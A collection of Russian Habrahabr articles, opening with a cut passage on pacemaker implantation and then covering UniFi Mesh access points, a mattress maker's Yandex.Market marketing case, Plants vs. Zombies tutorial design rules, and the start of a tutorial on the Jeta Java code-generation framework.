выделяет одну из вен или артерий — чаще всего это латеральная вена руки или подключичная артерия. Затем через вену вводят один или несколько электродов в сердце и проверяют правильность расположения электродов с помощью наружного блока программно-аппаратного комплекса. Наконец, само устройство устанавливают в подкожный карман, подключают к электродам, и затем зашивают разрез.
https://geektimes.ru/post/283842/
habrahabr
UniFi Mesh — всё меньше компромиссов
['unifi', 'ubiquiti', 'ubiquiti unifi', 'mesh', '802.11ac']
Этот очерк — следующий в череде рассказов про обновления едва ли не самой успешной линейки компании Ubiquiti — точек доступа семейства UniFi (ранее мы писали как о старте линейки, так и о ее...
Этот очерк — следующий в череде рассказов про обновления едва ли не самой успешной линейки компании Ubiquiti — точек доступа семейства UniFi (ранее мы писали как о старте линейки , так и о ее плодотворном развитии ). Лаконичный дизайн, удобство настройки даже для людей, мало знакомых с IT, низкая цена — вот постулаты, на которые опирается UniFi уже не первый год. Конечно, за простоту приходится платить пробелами в функционале устройств, но с каждым обновлением линейки функциональность всё ближе подбирается к лидерам рынка, при этом не теряя ни в удобстве управления и эксплуатации, ни в цене. Под катом — новые добавки к старому привычному UniFi, делающие его ещё вкуснее (снова). Прежде, чем рассказать о самих новинках, нужно вспомнить, что с лейблом UniFi уже сейчас можно воткнуть в свою беспроводную сеть и в каких юзкейсах эти точки найдут применение. Рассматривать первое поколение UniFi, построенное на решениях стандарта 802.11n, уже бессмысленно — да, эти точки еще можно купить, и они уже очень дёшевы, как население алиэкспресса, но в самом конце 2016 года пропускные способности точек 802.11n уже ну совсем не интересны пользователю. 802.11ac продолжает свою экспансию полным ходом, всё больше мобильных устройств (даже в среднем ценовом диапазоне) обзаводятся соответствующими адаптерами, и строить сеть на уже устаревшем оборудовании совершенно не хочется. С другой стороны, рассматривать решения 802.11ac «второй волны» (официальное название, между прочим — Wave 2!) в ближайшие несколько лет определенно ещё рано: матчасть ещё дорогая, клиентских устройств, позволяющих использовать весь гандикап увеличившейся за счет MU-MIMO ёмкости ТД, кот наплакал (и не перестанет плакать еще пару лет даже в стане флагманов именитых мобильных брендов), и закладывать бюджет под то, что может быть пригодится лет эдак через пять, весьма авантюрно. Исходя из всего перечисленного, самым модным в сезоне «весна-лето» 2017 остается 802.11ac wave1, и основную ставку стоит делать именно на него. Раз уж мы начали с лирического отступления, стоит рассмотреть еще один вопрос, который мы часто слышим от клиентов, собирающихся строить новую беспроводную сеть клиентского доступа: «А стоит ли сейчас выбирать 802.11ac вообще? Даже понимая, что все новые гаджеты выходят с 802.11ac, 90% всех потенциальных абонентов по-прежнему имеют на борту только 802.11n и в ближайшие 1-2 года ситуация кардинально не поменяется?». В общем-то, вопрос, безусловно, имеет смысл с точки зрения рачительного хозяйственника, который не покупает то, что не использует. Есть здесь и небольшой подвох, который не столь однозначен. Каждый новый беспроводной чипсет становится лучше — каждое новое поколение беспроводных адаптеров лучше делает то, для чего создано. Даже в пределах одного стандарта (например, 802.11n) прирост сосредоточен не только в большей пропускной способности (что, в общем-то, понятно — какая может быть большая канальная скорость в одном и том же стандарте?), но и в менее очевидных параметрах. 802.11ac более требователен к соотношению «сигнал-шум», чем предшественники, что связано с более сложными используемыми модуляциями, и поскольку это соотношение можно улучшить (естественно, в одинаковых и не самых отвратительных радиоусловиях) в первую очередь увеличением чувствительности приемника, производители проделали массу работы в этом направлении при создании устройств стандарта 802.11ac. Да, максимально достижимая канальная скорость стандарта 802.11n осталась прежней, и «старые» клиенты её, естественно, не превзойдут, однако в тех же самых радиоусловиях «новая» точка доступа обеспечит бОльшую зону покрытия, в которой будет доступна эта максимальная канальная скорость, соответственно, увеличив ёмкость одной ТД в сети. Возможно, вы возразите: это всё справедливо для диапазона 5 ГГц, в котором (и только в котором) 802.11ac появился и постепенно заменяет 802.11n, а в самом густонаселенном, узком и проблемном диапазоне 2,4 ГГц ничего нового не появилось и вряд ли появится. Верно, однако процент клиентских устройств, поддерживающих 5 ГГц, неуклонно растёт, и даже в домашних сетях пользователи всё чаще ставят двухдиапазонные домашние роутеры — стоит ли строить сеть менее гибкую, чем рядовой пользователь хотел бы видеть в собственной квартире? Как бы то ни было, текущее (второе по счету) поколение ТД UniFi планировалось как недорогой способ построить максимально современную сеть без лишних хлопот. В предыдущей статье о UniFi мы записали все точки UniFi, поддерживающие работу в стандарте 802.11ac — до недавнего времени это были четыре точки доступа, из которых всего одна могла считаться более-менее подходящей для работы за пределами помещений (и то официально это формулировалось на уровне «для помещений с повышенной влажностью, например, для складов – главное, чтобы на точку не лился дождь сверху»). В этом обстоятельстве таилось существенное препятствие для построения сетей клиентского доступа: в самом деле, как, например, обеспечить высокоскоростным вайфаем кафе с летней верандой, если точки все исключительно «индорные», а радиус, в котором будут без проблем работать клиенты на максимальной канальной скорости 802.11ac, гораздо меньше, чем в том же 802.11n? Что ж, теперь данная ниша производителем успешно закрыта новыми моделями — точками доступа UniFi AC Mesh и AC Mesh PRO . Значение этих моделей трудно переоценить — они уже вот прямо сейчас, на данный момент нужны для построения единой централизованно управляемой быстрой беспроводной сети там, где эта сеть должна выйти за пределы здания. Но не только влагостойкий корпус точек вызывает интерес — любой, кто пытался построить так называемую «сеть с радиовыносом» на оборудовании UniFi, уже отметил слово «Mesh» в названии. Давайте немного углубимся в этот вопрос и его ретроспективу. Что же такое MESH? Когда он полезен, а когда – вреден? Сам по себе термин mesh довольно-таки вольно трактуется производителями, но в общем и целом так обозначают возможность построить для точки доступа транспорт не по проводу, а по «воздуху» — то есть, точка подключается не кабелем в Ethernet, а использует собственные же радиоадаптеры для связи с своими «коллегами» и передачи клиентских данных дальше. Именно этот нюанс и был в предыдущих версиях UniFi небольшим «подводным камнем». Mesh, к сожалению, абсолютно не стандартизирован — то есть, для объявления точек поддерживающими Mesh-топологии совсем не обязательно тестировать их на совместимость с точками других вендоров, обеспечивать определенный набор функций и возможностей беспроводных соединений между точками. ТД UniFi поддерживали беспроводное соединение между элементами сети, но в очень ограниченном режиме — не более одного «хопа» (беспроводного перехода) между точками. Можно понять, для чего отчасти было введено такое ограничение: каждый хоп увеличивает время прохождения трафика через канал до клиента, а поскольку радио — среда довольно капризная и непостоянная, то и джиттер растет вслед за задержками, и для, например, передачи голоса несколько хопов по радио губительны. Не стоит забывать о том, что на радио с одним передатчиком на диапазон mesh в любом случае будет симплексным, а значит, что любой хоп делит максимальную пропускную способность трафика через точку как минимум пополам. Но ведь не всегда беспроводную сеть строят ради голоса, и, как бы крамольно ни звучало, не всегда от сети требуются исключительные показатели — иногда достаточно просто каких-то ненулевых. Новые точки доступа UniFi наконец-то поддерживают так называемые соединения multi-hop mesh — когда транспорт по радио идет не только к крайней в цепочке ТД, но и к предыдущим. Таким образом, теперь для удаленных или протяженных открытых участков, требующих беспроводного покрытия, не обязательно тянуть кабель к точкам доступа: если требования к пропускной способности и задержкам трафика не критичны, вполне возможно, к примеру, на какой-то условной дорожке к беседке в дальнем углу сада организовать полноценный доступ к сети Wi-Fi «гирляндой» новых AC Mesh или Mesh PRO. К сожалению, про алгоритм (само)организации маршрутов через эти самые mesh-линки сказать пока ничего нельзя — производитель хранит загадочное молчание. Коротко основные характеристики новых ТД сведены в табличку: UniFi AC Mesh Unifi AC Mesh PRO Работа в двух диапазонах Да Да Антенная формула 2x2:2 3x3:3 Максимальная канальная скорость в 2,4 ГГц 300 Мб/с 450 Мбит/с Максимальная канальная скорость в 5 ГГц 867 Мбит/с 1300 Мбит/с Второй Ethernet-порт Нет Да КУ антенн Комплектные 3 дБи для 2,4 ГГц и 4 дБи для 5 ГГц Возможно подключение любых совместимых антенн через коннекторы RP-SMA Встроенные панельные 8 дБи для обоих диапазонов Цена $105 $209 Сразу бросается в глаза возможность установки на модель AC Mesh антенн любого КУ и направленности через стандартные разъемы RP-SMA — наконец-то можно сделать полноценный сектор для подключения клиентов в людных местах на высоких канальных скоростях! Mesh PRO в данном случае не такая гибкая (по нашим прикидкам диаграмма направленности антенн составляет примерно 60-90 градусов), однако обеспечивает, во-первых, работу сразу в двух диапазонах, во-вторых, имеет второй порт Ethernet для более гибкого планирования сети. Что-либо говорить про фактическую производительность новых точек пока еще рано — совсем недавно точки начали свой путь к дистрибуторам, и мы с нетерпением ждем их на своем столе для тестов. Гораздо больший интерес вызывает функционал multi-hop mesh — станет ли он доступен сразу для всей линейки UniFi, включая уже существующие точки (ведь не только «на улице» иногда требуется перескочить транспортом через участок, где проложить кабель невозможно)? Информацию по данному вопросу производитель пока ни подтвердил, ни опровергнул. Как бы то ни было, уже сейчас новая и самая популярная линейка продуктов Ubiquiti получила нужное расширение, которое полностью заполняет весь ряд юзкейсов недорогих ТД, и строить сети на UniFi стало еще удобнее и менее компромиссно.
https://habrahabr.ru/company/comptek/blog/317966/
habrahabr
Как продавать, если вашей товарной группы нет на Яндекс.Маркете?
['яндекс.маркет', 'продажи через интернет', 'матрасы', 'интернет-маркетинг']
Предисловие Больше года назад я написал пост «Иннопром посуточно» и пообещал в нем выкладывать интересные кейсы из нашей практики дальше. Пост получился удачным, его сразу вытащили из песочницы,...
Предисловие Больше года назад я написал пост « Иннопром посуточно » и пообещал в нем выкладывать интересные кейсы из нашей практики дальше. Пост получился удачным, его сразу вытащили из песочницы, прислали мне инвайты на все проекты Хабра и в итоге я попал в захабренные. Только вот обещание свое я не мог выполнить больше года. Исправляюсь, публикую описание кейса, который был готов уже полтора года назад, да все руки не доходили. Почему полтора года собраться не мог, а тут вдруг созрел? Ну кроме того, что появился часик времени на написание поста, есть еще причина. Яндекс.Маркет активно пытается пересадить все магазины на кнопку «Купить» на своей площадке. И получается это у них, прямо говоря, не очень. Зато пиара и промывания мозгов на тему как это здорово для магазинов уже столько, что он него тошнить начинает. Решил добавить им пиара. На самом деле на картинке должно было быть написано не «на сайте», а «на Маркете». Мы, конечно, не слона пытались продать, а вполне себе человеческий и понятный товар: матрасы. Наш клиент, компания « Конкорд » — один из лидеров в УрФО по производству матрасов. Вообще, региональных платежеспособных вменяемых клиентов с каждым годом становится все меньше. Локальный бизнес либо дохнет, либо его пожирают федералы. Но рынок матрасов — исключение. Причина тому — сложная логистика. Матрас тяжелый и габаритный, его трудно, долго и дорого везти в единичных экземплярах из другого региона. Поэтому, региональные производители все еще существуют, хотя их довольно ощутимо поджимают федеральные игроки. Два года назад Конкорд пришел к нам с нетривиальной задачей сделать для них Интернет-Маркетинг и отстроить прямые продажи через сайт. Сначала возможность продажи матрасов через Интернет вызывала большие сомнения. Такой товар больше покупают живьем, пощупав и полежав на нем. Но посмотрев как агрессивно давят в Интернете самые злые конкуренты: Аскона и Орматек, а также измерив количество заказов за сутки на сайтах других производителей, пришли к выводу, что попробовать можно. Что делать, когда денег нет Конечно, у нас совсем не было таких бюджетов как у федералов. Даже близко. Все региональные заказчики на фоне федералов выглядят как церковные мыши. Чтобы было понятно на сколько много денег федералы вливали в продвижение и с чем нам приходилось конкурировать, приведу только один пример. Аскона размещала баннер на главной странице Яндекса. Т. е. их совсем не напрягало засаживать несколько миллионов в месяц на рекламу без какого-либо таргетинга и прямой отдачи. Я еще понимаю, если бы это какой-нибудь оператор сотовой связи был или Сбербанк. Но матрасы, Карл! Мы себе этого позволить не могли, поэтому стали искать какие-то альтернативы, которые смогут принести максимум денег при минимуме затрат. Ну вы понимаете, все как обычно. У наших клиентов очень сильно развита иллюзия, что можно прийти в Интернет, вложить три копейки и заработать миллиард. Но тем не менее начали работать. Давай короче, при чем тут Яндекс.Маркет? Даю. Мы попробовали почти все: контекст, SEO, контекстно-медийный баннер, Avito, SMM и т. д. К слову, матрасы действительно продаются через Интернет. Меньше чем за год мы вышли по объему продаж на уровень хорошего салона в торговом центре, при этом суммарные затраты на запуск сайта примерно в три раза меньше чем на открытие салона и ежемесячные бюджеты на продвижение также в три раза меньше, чем стоимость содержания одного салона. Про все это я даже делал презентацию и рассказывал октябре на выставке Internet Expo 2016. Кейс получился интересным и насыщенным. Но больше всего мне из всей работы запомнился наш фэйл с Яндекс.Маркетом. Мы в самом начале посмотрели в сторону Маркета и увидели очень странную вещь. Матрасов там не было. Точнее матрасы там были в виде строчек из прайсов магазинов, но ни карточек товаров, ни отзывов, ни подбора нормального не было. Телефоны есть, планшеты есть, телевизоры есть, а матрасов нет. При этом запросов «матрас» в месяц всего в 3-4 раза меньше, чем «смартфон», столько же сколько «пылесос» и в разы больше, чем «кофемашина». И тут в мою дурную голову пришла «гениальная» идея. Я подумал, что надо убедить Яндекс в том, чтобы они добавили нормальные карточки матрасов на Маркет. Очевидно же, что товарная группа востребована и карточки там нужны. Пока конкуренты сообразят и разместят как вендор туда все свои модели, мы уже будем впереди планеты всей, начнем собирать трафик, получим отзывы от покупателей и будем делать продажи. Минимум 3-6 месяцев у нас будет преимущество. Отличная идея для не самого узкого канала привлечения, подумал я, и начал ее реализовывать. Для начала в лоб написали в Маркет обращение с предложением добавить карточки в данную товарную категорию. Молниеносно получили ответ от попка-дурак первой линии техподдержки, что карточек матрасов нет и не предвидится. Ответ был ожидаемый, но я решил закуситься. Написали текст письма для Конкорда: обращение вендора на тему как размещение карточек будет полезно всем: потребителям, производителям и, конечно, самому Маркету, чтобы стричь больше купонов с Интернет-магазинов. Убедили Конкорд подписать это письмо и сказали куда отправить. Сами через своего менеджера в Яндексе попросили к этому письму приделать ноги, чтобы его хотя бы прочитал человек, который может принимать решение. Прошло 2 дня и мы получили с того же адреса, с которого был первый ответ, письмо о том, что решение размещать карточки матрасов принято, присылайте все данные. Ура! Пол дела сделано. Шустренько подготовили формализованное описание для всех моделей, отправили их в Маркет. Ждем. Прошло 2 недели, интересуемся когда карточки матрасов появятся в каталоге. Получаем сногсшибательный ответ: сидите и ждите пока мы соберем данные с большинства производителей. Вся моя «гениальная» идея сразу протухла. Никакого преимущества мы, естественно, не получили. Но делать нечего, Яндекс тут мы сдвинуть не смогли. Хотя причин сидеть и ждать кучу времени я в упор не видел. Размещали бы описания матрасов по мере поступления. В итоге мы прождали около 4 месяцев, карточки появились у процентов 20 производителей. Дальше – хуже. Карточки матрасов появились, но разбирать прайсовый фарш Маркет научился далеко не сразу. Интернет-магазины по привычке выгружали название матраса одной строкой, при этом название брендов могло быть на русском языке, могло на английском, размера могло быть два или три (еще высота). Разделитель размеров мог быть любым. Короче карточки были, а цены к ним нормально не привязывались. Сейчас проблему более или менее причесали, но не до конца, до сих пор к некоторым карточкам прилипают цены от совершенно разных моделей матрасов. Примерно год после создания карточек мы наблюдали полный трэш в этой категории, такой же, что и до появления карточек. Ну и наконец, до сих пор нет возможности отсортировать матрасы по рейтингу. Т. е. Маркет что-то сортирует, но совершенно не понятно как у матраса без единого отзыва может быть самый высокий рейтинг и какой он вообще и как он посчитался. Epic fail? Возможно, но я так не считаю 1. Конечно, мы не добились чего хотели, не получили никакого преимущества над федералами, потратили много времени на общение с Яндексом, а он становится все более тяжелым в этом плане с каждым годом. Это в минус. 2. Однако, карточки есть, и теперь, можно мониторить нарушения установленных розничных цен. Правда наш заказчик делает это очень несистемно, но мы над этим работаем. По крайней мере отслеживать недобросовестные магазины стало проще. 3. Появилась хорошая независимая площадка, куда покупателя можно пригласить оставить отзыв о матрасе. Ну а потенциальные покупатели могут их почитать. 4. Странно, но не смотря на большой спрос, в этой тематике Маркет оказался совсем не лучшим каналом продаж, в отличие от электроники. Это опыт. 5. Ну и наконец, без этого фэйла не было бы этого поста :). Так что пробуйте нестандартные ходы и плыть против течения. Как минимум вы получите бесценный опыт, которым можно поделиться. P. S. Пожалуй следующим постом напишу почему я считаю, что кнопка «Купить» на Маркете не взлетит в таком виде как они ее насаждают.
https://habrahabr.ru/post/317968/
habrahabr
Как сделать идеальный туториал для хардкор геймеров и их мам
['разработка игр', 'игровая индустрия', 'геймдизайн', 'игры', 'Plants vs zombies', 'PvZ']
В этой статье мы хотим представить вам конспект с выступления Джоржа Фэна — создателя Plants vs Zombies, любителя стейков сильной прожарки и редких карт Magic: The Gathering. Джордж весело и...
В этой статье мы хотим представить вам конспект с выступления Джоржа Фэна — создателя Plants vs Zombies, любителя стейков сильной прожарки и редких карт Magic: The Gathering. Джордж весело и конструктивно описывает процесс создания и интеграции туториала для своей игры. А универсальность и простоту обучения подтверждает рассказом о том, как его мама, до этого не сталкивавшаяся с видеоиграми, прошла всю Plants vs. Zombies и победила последнего босса. Основной посыл Джорджа таков: люди любят учиться, но не всегда об этом знают. А при первом знакомстве с игрой именно туториал является определяющим фактором того, станет ли пользователь играть и получать удовольствие от геймплея, или в ужасе закроет игру и с воплями убежит в горизонт. Так в чём секрет идеального туториала? Когда Джордж работал над созданием Plants vs. Zombies, он много раз задавался вопросами: как же сделать эту игру максимально доступной? Как вовлечь в игровой процесс людей, не являющихся геймерами? И главное — как позволить человеку насладиться процессом обучения? Ему удалось достичь всего этого, и он делится с нами этим знанием в форме 10 правил качественного туториала (эдакий туториал по туториалам). Никогда не отделяйте туториал от игры: это вызовет у пользователя страх (или зевоту). Правило первое: туториал должен быть интегрирован в игровой процесс. Ключ к успеху — постараться сделать всё, чтобы обучение не выглядело как урок или лекция в университете. Плохо: называть туториал туториалом и отделять его от игрового процесса. Хорошо: позволить пользователю насладиться процессом обучения. Ведь по сути, большинство игр целиком состоит из него — мы познаем новые игровые механики и учимся их использовать, открываем новые возможности и их применение. Когда ты всему научился и всё понял — игра перестаёт быть весёлой, ведь так? Джордж предлагает нам приложить все усилия, чтобы туториал слился с игровым процессом и ни в коем образе не был препятствием между пользователем и игрой — эдакий туториал-хамелеон. Правило второе: меньше слов — больше дела! Лучший способ научить игрока выполнять определённые действия — дать ему попробовать осуществить их самостоятельно (а не предлагать ему читать о них). Ведь играть гораздо веселее, чем просто читать об игре. Джордж объясняет, как это работает, на примере первого уровня Plants vs. Zombies: сначала следует продемонстрировать пользователю механику (в данном случае, что горошек всегда стреляет вправо по прямой, а зомби идут влево), а потом тут же дать ему возможность проверить, так ли это — в дружелюбной и комфортной среде. Другой пример — лопатка в PvZ. Джордж отказался от идеи текстового информирования (А ты знал, что можешь использовать лопатку, чтобы заменить одно растение другим?), перейдя сразу к мини-играм с использованием лопатки для очистки всего игрового поля. Первые варианты хорошо справлялись с задачей обучения, но были скучными, и понадобилось время, чтобы создать такую мини-игру, которая была действительно веселой, и в то же время справлялась с задачей обучения — но оно того стоило, ведь развлечение пользователя важнее всего. Правило третье: распределите обучение по всему геймплею. Не стоит учить пользователя всем игровым механикам сразу! Вероятнее всего, это его только оттолкнет. Задайте себе вопрос: нужно ли игроку знать о той или иной фиче прямо сейчас? И если ответ нет — просто отложите обучение на потом. Лопатку, например, игрокам Plants vs. Zombies представляют только на уровне 1-5, а о существовании денег становится известно лишь на уровне 2-1 (10 уровней с начала игры!). Доступ к магазину с выбором апгрейдов открывается аж к 25 уровню. Джордж настаивает, что обучение должно происходить медленно, дабы пользователь привыкал к новому (в данном случае — осознал, что для расширения своих возможностей придётся копить деньги). Другими словами — чем дольше человек играет в игру, тем больше растёт его желание развиваться и учиться. Не давайте пользователю новые игрушки, пока он ещё не наигрался в старые. Правило четвёртое: одного раза будет достаточно. В большинстве случаев как только игрок выполнил действие и увидел его результат (всего однажды!) — он сразу же понял, как именно это работает. Иногда просто подсветить нужный объект или указать на него стрелочкой — самый удобный и быстрый способ. С этим правилом связано одно из самых грандиозных испытаний при создании Plants vs. Zombies — «Подсолнечная дилемма». При тестировании игры PopCap столкнулись с тем, что многие пользователи не понимали, как правильно пользоваться подсолнечниками и пренебрегали ими — что в дальнейшем приводило к трудностям при прохождении уровней. А ведь эти растения — важнейшая часть экономики игры, они вырабатывают «солнца» — ресурс, необходимый для выращивания растений! Джордж с коллегами перебрали множество идей — от изменения экономической модели до создания отдельных мест на газоне, где могли бы расти только подсолнечники, но в итоге проблему решили очень простым (и крутым!) способом: Стоимость подсолнечника была уменьшена со 100 солнц (горошек стоит столько же) до 50, как и стартовый бюджет (аж с 200). Сделано это было для того, чтобы у пользователя осталась единственная возможность начать играть — посадить подсолнечник. Как мы видим, это растение подсвечено в меню, а горошек остаётся тёмным, ведь наших ресурсов хватает только на «покупку» первого — и это тоже неслучайно: подсолнечник будет подсвечиваться у игрока вдвое чаще, чем горошек, напоминая о себе и побуждая к посадке. По признанию Джорджа, механику с подсветкой он подглядел у развивающей игрушки для дошкольников Fisher Price, где ребёнку требуется как можно быстрее нажимать на загорающийся предмет. А для того, чтобы в дальнейшем пользователь всё равно начинал с подсолнечника (даже если есть другие, более доступные по цене растения), разработчики добавили кулдаун на другие дешевые растения в начале уровня — это видно на скриншоте. Мама Фэн: — Не геймер — Путает зомби и стариков. Когда первый раз увидела, как отец Джорджа играет в Plants vs. Zombies спросила: «Зачем ты убиваешь старых людей?!?» — Уничтожила 4395 зомби — Любимая еда — латук Правило пятое: много текста — плохо. В идеале — стремитесь к тому, чтобы на экране было не больше 8 слов за раз, и основная мысль умещалась в одном предложении , а не распадалась на четыре. «Общайтесь с игроком так, будто бы вы — «утончённый пещерный человек» — советует Джордж. «У тебя появилась лопата!», «Взорви всех зомби на карте» — кратко, понятно и легко. Если же объемного диалога не избежать — разделите его на несколько частей, сменяющих друг друга. Правило шестое: стройте общение ненавязчиво. Самое главное в этом правиле — понять, что останавливать игровой процесс для донесения сообщения (вне зависимости от степени его важности) не стоит. Поп-апы — зло! Поэтому… Правило седьмое: используйте адаптивные сообщения. Некоторые пользователи сразу способны совершать правильные действия, предвосхищая наш туториал. Но не все — и тем, кто застрял или не до конца разобрался в сложившейся игровой ситуации, нужна ваша помощь в виде подсказок, появляющихся специально для них. Лучший способ понять, как и куда следует встроить такие сообщения — понаблюдать за человеком, играющим в вашу игру. Какие детали вызывают у него затруднения? На что следует обратить его внимание? Почему не стоит показывать подобные сообщения сразу? Чтобы не отпугнуть хардкор геймеров (в случае с Plants vs. Zombies — ветеранов Tower Defence игр), которые сразу действуют в соответствии с привычным им паттерном поведения в подобных играх. Опытным игрокам нравится чувствовать себя умными — так дайте же им такую возможность! Ачивка! Ты читаешь этот текст вместо действительно полезной информации. Правило восьмое: не нужно лишнего шума. Это правило особенно важно соблюдать в начале игры — не нужно отвлекать игрока от процесса познания и исследования игры! Не стоит давать слишком много информации разом — это будет рассеивать внимание игрока, не позволяя ему сконцентрироваться на действительно важном для него тексте/объекте. Пользователь уже знает, что ожидать от этого растения, так как он знаком с обычным горошком, стреляющим прямо в цель. Правило девятое: используйте визуализацию при обучении. Ваша задача — сделать игровой процесс интуитивно понятным, чтобы облегчить процесс обучения. Растение должно выглядеть так, чтобы пользователю было сразу понятно, как оно действует — как с тройным горошком, например. Сначала может быть непонятно, что именно делает халапеньо, но увидев однажды эту огненную полосу, пользователь сразу понимает, в каких случаях следует применять это растение. Если же сразу понять не удаётся — то понимание должно приходить сразу же, как только новый персонаж впервые действует, как перчик халапеньо. Правило десятое: учитывайте «багаж знаний» пользователя. Те знания, которые будущий игрок приобрёл в своей повседневной жизни, тоже следует принимать во внимание — и Джордж объясняет почему. Plants vs. Zombies — это Tower Defence игра, и Фэн выбрал растения в качестве «башен» во многом благодаря тому, что все привычные нам растения не ходят, а растут на одном месте. А зомби прекрасно подходят в качестве врагов — они медленно ходят (и большинство людей ожидают от них именно этого), что избавляет игроков от необходимости перемещаться по игровому полю — всё умещается на одном экране. Да и кто захочет пустить зомби к себе домой? Мысль об этом пугает, и пользователь заранее знает, что допускать этого не стоит ни в коем случае! Тот же фактор касается и ресурсов в игре — солнце ответственно за появление растений на поле, а деньги — за покупку апгрейдов. Кажется очевидным и простым — а не это ли наша цель? С вашим туториалом пользователю не понадобится раздел “Help” — разве что для развлечения Чему мы научились? На примере мегауспешных Plants vs. Zombies Джордж Фэн смог не только наглядно продемонстрировать нам необходимость наличия «правильного» туториала в любой игре, но и доступно объяснить, как именно интегрировать простое, интуитивное, ненавязчивое и крайне эффективное обучение, которое поможет не-геймерам быстро адаптироваться и получать кучу удовольствия от геймплея, при этом не мозоля глаза заядлым игрокам, которые «и без этих ваших туториалов всё знают». А даже если что-то не сразу получится — любую шероховатость можно исправить добавлением порции драконов в вашу игру. По крайней мере, так сказал нам сам Джордж. Ну а мы тем временем готовим к переводу новые статьи и ждем вас на наши открытые мероприятия в ВШБИ, которые пройдут в этом и следующим году. В частности в эту субботу (24.12) будет обзорная лекция по рынку PC и мобильных игр от наших друзей из Superdata, а 11 февраля будет целый лекционный день , в течение которого представители российских игровых компаний поделятся с гостями своими знаниями по геймдизайну и основам создания игр. Вход везде бесплатный, только по регистрации. Не забудьте ее пройти.
https://habrahabr.ru/company/miip/blog/317918/
habrahabr
Как не писать лишнего
['javax.annotation.processing', 'metaprogramming', 'open-source', 'jeta', 'androjeta']
Все программисты сталкиваются с boiler-plate кодом. Особенно Android-программисты. Писать шаблонный код — дело неблагодарное и, я уверен, что нет программиста, которому бы это доставляло...
Все программисты сталкиваются с boiler-plate кодом. Особенно Android-программисты. Писать шаблонный код — дело неблагодарное и, я уверен, что нет программиста, которому бы это доставляло удовольствие. В один прекрасный день я начал искать решения. Несмотря на то, что идея довольно проста: генерировать шаблонный код в отдельный класс и позже вызывать этот код в рантайме, готовых решений не нашлось, и я принялся за дело. Первая версия была реализована как один из подмодулей одного из рабочих проектов. Более двух лет я был доволен этим решением. Оно действительно работало и работало именно так, как я этого ожидал. Время шло, модуль дополнялся новыми функциями, рефакторился, оптимизировался. В целом PoC можно было назвать успешным, и я решил поделиться проектом с комьюнити. Спустя 8 месяцев программирования по вечерам, я на Хабре со своим первым в жизни постом. Итак, Jeta — фреймворк для генерации исходного кода, построенного на javax.annotation.processing . Open-Source , Apache 2.0 , исходный код на GitHub, артефакты на jCenter, tutorials, samples, unit-tests, в общем все как положено. Для наглядности, давайте рассмотрим простой пример. В библиотеку входит аннотация @Log . С ее помощью упрощается объявление именованных логгеров внутри класса. public class LogSample { @Log Logger logger; } Так, для этого класса, Jeta сгенерирует класс LogSample_Metacode с методом applyLogger : public class LogSample_Metacode implements LogMetacode<LogSample> { @Override public void applyLogger(LogSample master, NamedLoggerProvider provider) { master.logger = (Logger) provider.getLogger(“LogSample”); } } Из примера видно, что по аннотации @Log генерируется код, который присваивает логгер с именем “LogSample” аннотированному полю. Остается реализовать NamedLoggerProvider который будет поставлять логгеры из библиотеки, которая используется в вашем проекте. Помимо неявного именования логгеров, которое, как видно из примера, берется из названия класса, можно указать конкретное значение через параметр аннотации, как например @Log(“REST”) . Этот прием избавляет от копи-пасты строки типа: private final Logger logger = LoggerFactory.getLogger(LogSample.class); что в свою очередь избавляет проект от логгеров с именами “соседов”, так как часто программисты забывают заменить передаваемый в качестве параметра класс. Конечно, это довольно простой пример. Тем не менее, он показывает основную идею фреймворка — меньше кода, больше стабильности. Несмотря на то, что основная цель Jeta — это избавление от шаблонного кода, на приеме, показанном выше, реализовано множество полезных функций, таких как Dependency Injection , Event Bus , Validators и др. Нужно заметить, что все они написаны согласно принципам фреймворка — без Java Reflection и, по возможности, все ошибки находятся на стадии компиляции. В этой статье мы так же не будем избавляться от выдуманного boiler-plate кейса. Вместо этого мы напишем кое-что полезное, а именно Data Binding (далее DB). Хотя, принципиальной разницы тут нет, и эту статью можно будет использовать как руководство для решения задач, связанных с избавлением от шаблонного кода. Data-Binding. Android программисты, возможно, уже знакомы с этим термином. Не так давно Google выпустила Data Binding Library . Для тех из Вас, кто не знаком с этим паттерном, я уверен, что не составит большого труда разобраться с его концепцией из примеров в этой статье. Так же привожу два спойлера с небольшими экскурсами по Android и Data-Binding, соответственно. Android Экран, в контексте Android-программирования, называется Activity . Это Java класс наследованный от android.app.Activity . Для каждой активити существует XML -файл с разметкой, называемый Layout . Вот пример Activity из “Hello, World” приложения: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:id="@+id/text1" android:layout_width="wrap_content" android:layout_height="wrap_content" /> </LinearLayout> public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); TextView text1 = (TextView) findViewById(R.id.text1); text1.setText("Hello World!"); } } Строка setContentView(R.layout.activity_main) связывает активити и лейаут через R файл, который генерируется автоматически. Так, для нашего лейаута activity_main.xml , R-файл будет содержать внутренний класс layout c полем activity_main и каким-то уникальным числовым значением. Для TextView , которому мы присвоили id = text1 , это будет внутренний класс id и поле text1 , соответственно. Data Binding Data-binding позволяет писать DSL выражения внутри XML -файла. Вот пример с официального сайта developer.android.com : <?xml version="1.0" encoding="utf-8"?> <layout xmlns:android="http://schemas.android.com/apk/res/android"> <data> <variable name="user" type="com.example.User"/> </data> <LinearLayout android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@{user.firstName}"/> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@{user.lastName}"/> </LinearLayout> </layout> Так, в нужный момент, мы связываем объект пользователя ( com.example.User ) с лейаутом и data-binding автоматически проставляет значения в соответствующие компоненты. Так, первый TextView отобразит имя пользователя, а второй его фамилию. В этой статье мы напишем свой Data-Binding, правда, пока без преферанса, ну а в конце вас ждет небольшой интерактив. Перед тем как приступим, пара замечаний по Jeta. Все специфичные для андроида функции вынесены в отдельную библиотеку — Androjeta . Она расширяет Jeta а значит все, что доступно в Jeta, т.е. для любого Java-проекта, так же доступно в Androjeta. В терминологии фреймворка сгенерированный класс называется Metacode . Класс, для которого генерируется мета-код, называется Master . Еще есть Controller , который применяет мета-код к мастеру, и Metasitory — это хранилище ссылок на все Metacode -классы. С помощью Metasitory контроллеры находят нужный мета-код. 1. DataBinding проект Первым делом мы создадим самый обычный Android проект с одной активити и с pojo-классом User . Наша задача — к концу статьи записать имя и фамилию юзера в соответствующие UI-компоненты посредством DB . Для наглядности я буду 